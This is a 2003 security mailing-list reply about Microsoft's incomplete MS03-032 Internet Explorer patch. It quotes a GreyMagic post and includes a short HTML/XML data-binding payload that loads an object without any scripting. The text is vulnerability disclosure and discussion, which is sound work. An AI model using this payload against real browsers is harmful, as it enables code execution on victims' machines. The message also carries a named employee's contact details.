Updated antivirus software should catch this exploit and prevent any application from being launched.
We have McAfee VirusScan 7 Ent. which caught both exploit examples at http://greymagic.com/adv/gm001-ie/

Andrew Becker
C.H. Mortgage, D.R. Horton
Phoenix IT/MIS Department
Phone: (866) 639-7305
Fax: (480) 607-5383

"GreyMagic
Software" To: "NTBugtraq" <NTBUGTRAQ (at) LISTSERV.NTBUGTRAQ (dot) COM [email concealed]>, "Bugtraq"
<security@greymag <bugtraq (at) securityfocus (dot) com [email concealed]>, <full-disclosure (at) lists.netsys (dot) com [email concealed]>,
ic.com> <vulnwatch (at) vulnwatch (dot) org [email concealed]>
cc: <http-equiv (at) excite (dot) com [email concealed]>, "Microsoft Security Response Center"
09/08/03 07:52 AM <secure (at) microsoft (dot) com [email concealed]>, (bcc: Andrew D Becker/Continental Homes)
Subject: RE: BAD NEWS: Microsoft Security Bulletin MS03-032

>The patch for Drew's object data=funky.hta doesn't work:

This is the exact same issue as http://greymagic.com/adv/gm001-ie/, which
explains the problem in detail. Microsoft again patches the object element
in HTML, but it doesn't patch the dynamic version of that same element.

>1. Disable Active Scripting

This actually means that no scripting is needed at all in order to exploit
this amazingly critical vulnerability:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object data=x.asp></object>
]]>
</exploit>
</security>
</xml>

Ouch.

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